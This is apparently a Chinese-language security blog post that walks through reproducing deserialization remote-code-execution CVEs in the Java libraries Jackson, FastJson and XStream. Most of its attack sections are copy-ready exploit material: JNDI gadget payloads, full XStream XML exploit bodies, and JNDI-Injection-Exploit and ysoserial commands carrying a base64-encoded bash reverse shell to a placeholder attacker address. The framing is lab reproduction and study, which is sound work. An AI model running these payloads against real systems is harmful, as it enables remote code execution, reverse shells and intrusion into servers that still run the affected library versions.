AIGC标识 服务攻防5:开发组件安全——Jackson / FastJson / XStream 反序列化漏洞与 CVE 复现

本文聚焦 Java 生态里的三个序列化/反序列化组件——Jackson、FastJson、XStream,面向完全零基础的读者:既讲清楚每个组件是什么、漏洞机理是什么,也把可以直接照做的 Payload、命令和链接一并给出,方便复习和复现。

前置知识(先了解这些)

  • JSON / XML:常见的数据交换格式;这三个组件都负责处理它们。
  • Java 序列化与反序列化:把对象变成字节流(序列化)或把字节流还原成对象(反序列化);反序列化漏洞的根因。
  • J2EE:Java 企业版,主要由 Spring、Spring Boot、Struts2 等框架承载。
  • JNDI:Java 命名与目录接口,可以通过 RMI / LDAP 等协议远程加载 Java 类。
  • RMI / LDAP:Java 远程方法调用与轻量级目录访问协议,常作为 JNDI 注入的"运输车"。
  • Maven / Gradle:Java 项目最常用的两种构建工具。
  • CVE:公开漏洞的统一编号。
  • 黑盒测试 vs 白盒测试:前者无源码,靠请求/响应推断;后者直接看代码与依赖版本。
  • Docker / Vulhub:用于快速搭建漏洞靶场。

工具清单(提前准备)

  • JDK 8+Maven / Gradle:编译和启动本地 Demo。
  • 一个 Jackson / FastJson / XStream 的本地 Demo 工程(GitHub 上搜索"jackson cve demo / fastjson cve demo / xstream cve demo"即可找到现成工程)。
  • Burp Suite / curl:构造 HTTP 请求与观察响应。
  • JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar:一键起 JNDI 服务并生成 Payload。
  • ysoserial(含 CommonsCollections 等利用链):生成反序列化 Payload 或起 JRMP 监听。
  • fastjson_payload:GitHub 开源 POC 集合(地址见参考链接)。
  • Vulhub 或自行编写的漏洞 Demo 工程:本地复现靶场。

一、服务攻防的复现对象分类

"服务攻防"要复现的对象可以分成四类:

  1. 数据库:Redis 未授权 RCE & CVE、Couchdb 未授权 RCE & CVE、H2database 未授权 RCE & CVE
  2. 中间件:IIS(短文件/解析/蓝屏等)、Nginx(文件解析/命令执行)、Apache(RCE/目录遍历/文件解析)、Tomcat(弱口令/上传/包含)、Jetty(CVE/信息泄漏)、Jenkins(CVE/RCE)、Weblogic(CVE/反序列化/RCE)、WPS-HW2023(RCE/复现/上线 CS)
  3. 开发框架:PHP(ThinkPHP、Laravel);J2EE(SpringBoot、Struts2)
  4. 应用协议 与 J2EE 开发组件:Solr(全文搜索)、Shiro(身份验证)、Log4J(日志记录)、JacksonFastJsonXStream

"开发组件安全"单成一类,是因为它们都是 Java 生态里被广泛引用的第三方库,本身不是 Web 容器,而是被应用代码直接 import 进来的;一旦组件本身存在反序列化或表达式求值类漏洞,就会直接威胁到所有引用它的应用。

本文要讲的三个组件:Jackson、FastJson、XStream——它们都负责处理"对象 ↔ 字符串"之间的转换,因此都存在反序列化 RCE 的攻击面。

二、章节点:服务攻防通用思路

任何组件的攻击复现都按下面四步走:

  1. 目标判断:端口扫描 + 组合判断 + 信息来源(指纹、Banner、报错信息)。
  2. 安全问题归类:配置不当 / CVE 漏洞 / 弱口令爆破。
  3. 复现对象选择:数据库、中间件、开发框架、应用协议四类之一。
  4. HW 复现方向:除了上述四类,再补近几年新出的漏洞。

三、常见语言开发框架与组件一览

下面这张清单是日常攻防里"看一眼就能判断目标大概用了什么"的速查表。

常见语言开发框架

  • PHP:ThinkPHP、Laravel、YII、CodeIgniter、CakePHP、Zend 等。
  • JAVA:Spring、MyBatis、Hibernate、Struts2、SpringBoot 等。
  • Python:Django、Flask、Bottle、Turbobars、Tornado、Web2py 等。
  • Javascript:Vue.js、Node.js、Bootstrap、JQuery、Angular 等。

常见语言开发组件(Java 为主)

Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache Hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Alibaba FastJson、Jackson、Log4J、XStream 等。

这些组件各自有不同的漏洞类型,但学习路径都一样:先看组件是做什么的,再看它历史上出过什么高危 CVE,最后动手复现。

四、黑盒与白盒下的组件识别

在动手复现 Jackson / FastJson / XStream 之前,必须先确认目标用的是哪个组件。

黑盒场景(没有源码,只能通过请求/响应推断):

  • Java 应用通常接受 JSON 或 XML 格式的请求体。
  • 故意发送一段畸形数据,看报错信息里有没有暴露组件名:
    • 报错里出现 xstream → 大概率是 XStream
    • 报错里出现 fastjsonjackson → FastJson 或 Jackson

白盒场景(有源码或依赖清单):

  • 直接看 pom.xml / build.gradle 里引用的组件版本号,对照历史漏洞列表判断是否存在已知 CVE。

五、Jackson 组件安全

Jackson 是当下最流行的 JSON 解析器之一,负责 Java 对象与 JSON 字符串之间的相互转换(序列化/反序列化)。它的历史漏洞可在阿里云漏洞库查询:https://avd.aliyun.com/search?q=Jackson

5.1 CVE-2020-8840:代码执行

  • 影响版本:2.0.0 ≤ FasterXML jackson-databind ≤ 2.9.10.2
  • 触发原理:默认多态类型处理开启时,可通过 @type 字段加载危险 Gadget 类(如 org.apache.xbean.propertyeditor.JndiConverter),最终经 JNDI 触发 RCE。

Payload(需把 ldap://localhost:1389/Exploit 替换为自己起好的 JNDI 服务):

String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

5.2 CVE-2020-35728:代码执行

  • 影响版本:FasterXML jackson-databind 2.x < 2.9.10.8
  • 触发原理:与上一条类似,绕过 2.9.10.2 补丁的另外一条 Gadget 链(com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool)。

Payload

String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://your-ip:1099/gtaafz\"}]";

备注your-ip 为攻击者 RMI 服务地址的占位,复现时请替换为你自己的 IP。


六、FastJson 组件安全

FastJson 是阿里巴巴开源的 JSON 解析器,可以把 JSON 字符串与 JavaBean 相互转换。它的历史漏洞可在阿里云漏洞库查询:https://avd.aliyun.com/search?q=fastjson

一个比较全的公开 POC 集合:https://github.com/kezibei/fastjson_payload

6.1 FastJson ≤ 1.2.24

这是 FastJson 最早的一波反序列化漏洞,影响 1.2.24 及以下所有版本。利用方式是直接通过 @type 指定 JdbcRowSetImpl,让 FastJson 调用其 setDataSourceName 等 setter,触发 JNDI 远程加载。

String payload = "{\r\n"
        + "    \"a\": {\r\n"
        + "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"
        + "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"
        + "        \"autoCommit\": true\r\n"
        + "    }\r\n"
        + "}";

6.2 FastJson ≤ 1.2.47

1.2.25 起官方加了黑名单,1.2.47 又被发现可以通过"两步走"绕过:先用 @type: java.lang.Class 把目标类注入到 FastJson 的 mapping,再利用 JdbcRowSetImpl 触发。

JSONObject jsonToObject = JSON.parseObject("{\n"
        + "    \"a\":{\n"
        + "        \"@type\":\"java.lang.Class\",\n"
        + "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"
        + "    },\n"
        + "    \"b\":{\n"
        + "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"
        + "        \"dataSourceName\":\"rmi://your-ip:1099/j2azgf\",\n"
        + "        \"autoCommit\":true\n"
        + "    }\n"
        + "}");

6.3 FastJson ≤ 1.2.80

1.2.48 起持续加补丁,到 1.2.80 时通用 Gadget 已基本堵死。1.2.80 及以上版本的利用,依赖目标项目自身调用的业务类和三方组件,不再有"一发入魂"的通用 Payload,需要结合项目实际依赖去构造。

实操提示:复现 1.2.24 / 1.2.47 这两条时,本地起一个 JNDI 服务(推荐 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jarmarshalsec),把 Payload 里的 RMI 地址换成你自己的,再把 Payload 当作请求体 POST 给目标接口即可触发 RCE。


七、XStream 组件安全

XStream 是一个能把 Java 对象与 XML 互相转换的开源类库。它的历史漏洞可在阿里云漏洞库查询:https://avd.aliyun.com/search?q=XStream

7.1 CVE-2021-21351:代码执行(JNDI 注入)

  • 影响版本:XStream ≤ 1.4.15

第一步:起 JNDI 服务生成反弹 Shell

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A your-ip

解读-C 后面是要让目标执行的命令,base64 解码后是 bash -i >& /dev/tcp/your-ip/9900 0>&1(让目标反向连接到攻击者的 9900 端口);-A 是攻击者外网 IP,JNDI 服务会监听在该 IP 上。

第二步:构造 JNDI 注入 Payload 并提交到目标 XML 接口

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__overrideDefaultParser>false</__overrideDefaultParser>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://evil-ip:1099/example</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

解读:Payload 走的是 com.sun.rowset.JdbcRowSetImpl 这条 Gadget 链,最终调用 setDataSourceName("rmi://...") 触发 JNDI 远程加载。复现时把 rmi://evil-ip:1099/example 替换成你自己起的 JNDI 服务地址。

7.2 CVE-2021-29505:远程代码执行(反序列化)

  • 影响版本:XStream ≤ 1.4.16

第一步:用 ysoserial 起 JRMP 反序列化监听

java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLWlwLzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

解读:监听端口 1089,利用链 CommonsCollections6,反弹 Shell 命令同上一条,base64 解码后是 bash -i >& /dev/tcp/your-ip/9900 0>&1

第二步:提交反序列化 JNDI Payload

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>your-ip</string>
                                                <int>1089</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>your-ip</host>
                                        <port>1089</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

解读:Payload 构造的是一条"反序列化链",最终指向 sun.rmi.registry.RegistryImpl_Stub,让 XStream 反序列化时主动去连接 your-ip:1089(你的 ysoserial JRMPListener),由 ysoserial 在服务端完成 CommonsCollections6 链触发并执行反弹 Shell。your-ip 需替换为你自己的监听地址。


参考链接

posted @ 2026-09-06 16:39  xsec  阅读(3)  评论(0)    收藏  举报